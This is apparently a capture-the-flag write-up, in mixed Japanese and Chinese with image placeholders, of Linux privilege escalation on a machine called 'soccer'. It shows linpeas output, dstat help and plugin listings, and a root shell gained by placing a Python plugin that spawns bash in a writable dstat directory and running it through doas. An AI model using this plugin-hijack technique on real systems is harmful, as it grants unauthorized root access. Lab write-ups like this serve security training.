/snap/core20/1695/var/tmp
/tmp
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.font-unix
#)You_can_write_even_more_files_inside_last_directory

/var/crash
/var/lib/php/sessions
/var/tmp
/var/tmp/cloud-init
/var/www/html/tiny/uploads

╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                           
  Group player:                                                                                                                                             
/usr/local/share/dstat                                                                                                                                      
/tmp/linpeas.sh
/tmp/LinEnum.sh

...省略

「/bin」系ではないが、ここで気になる出力を発見する。
/usr/local/share/dstatが書き込み可能ということだ。dstatといえばLinuxのリソース監視で使われているものである。
この階層に何かペイロードを書き込んでdstatコマンド経由で特権昇格できるかも…

dstat 数据统计

我先用dstat看看能做些什么。

player@soccer:/usr/local/share/dstat$ dstat -h
Usage: dstat [-afv] [options..] [delay [count]]
Versatile tool for generating system resource statistics)

Dstat options:
  -c, --cpu                enable cpu stats
     -C 0,3,total             include cpu0, cpu3 and total
  -d, --disk               enable disk stats
     -D total,hda             include hda and total
  -g, --page               enable page stats
  -i, --int                enable interrupt stats
     -I 5,eth2                include int5 and interrupt used by eth2
  -l, --load               enable load stats
  -m, --mem                enable memory stats
  -n, --net                enable network stats
     -N eth1,total            include eth1 and total
  -p, --proc               enable process stats
  -r, --io                 enable io stats (I/O requests completed)
  -s, --swap               enable swap stats
     -S swap1,total           include swap1 and total
  -t, --time               enable time/date output
  -T, --epoch              enable time counter (seconds since epoch)
  -y, --sys                enable system stats

  --aio                    enable aio stats
  --fs, --filesystem       enable fs stats
  --ipc                    enable ipc stats
  --lock                   enable lock stats
  --raw                    enable raw stats
  --socket                 enable socket stats
  --tcp                    enable tcp stats
  --udp                    enable udp stats
  --unix                   enable unix stats
  --vm                     enable vm stats
  --vm-adv                 enable advanced vm stats
  --zones                  enable zoneinfo stats

  --list                   list all available plugins
  --<plugin-name>          enable external plugin by name (see --list)

  -a, --all                equals -cdngy (default)
  -f, --full               automatically expand -C, -D, -I, -N and -S lists
  -v, --vmstat             equals -pmgdsc -D total

  --bits                   force bits for values expressed in bytes
  --float                  force float values on screen
  --integer                force integer values on screen

  --bw, --black-on-white   change colors for white background terminal
  --color                  force colors
  --nocolor                disable colors
  --noheaders              disable repetitive headers
  --noupdate               disable intermediate updates
  --output file            write CSV output to file
  --profile                show profiling statistics when exiting dstat

delay is the delay in seconds between each update (default: 1)
count is the number of updates to display before exiting (default: unlimited)

在中文中,可以指定的选项大约有-C、-D、-I、-N、-S、–、–output file。其中我对–更感兴趣。尝试用–list确认其内容。

player@soccer:/usr/local/share/dstat$ dstat --list
internal:
        aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,
        raw,socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
        battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,
        dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,
        md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,
        mysql5-conn,mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,
        nfsd4-ops,nfsstat4,ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,
        snmp-sys,snooze,squid,test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,
        top-io-adv,top-latency,top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,
        wifi,zfs-arc,zfs-l2arc,zfs-zil
image.png

创建有效载荷

尝试在“/usr/local/share/dstat”目录下创建Python加载文件。

import subprocess

subprocess.run(['bash'])

尝试将上述的Python文件作为dstat插件加载并通过doas进行执行。

player@soccer:/usr/local/share/dstat$ doas -u root dstat --payload
image.png
player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --payload
image.png

总结

image.png

希望这次也能对安全工程师的大家有所帮助。

bannerAds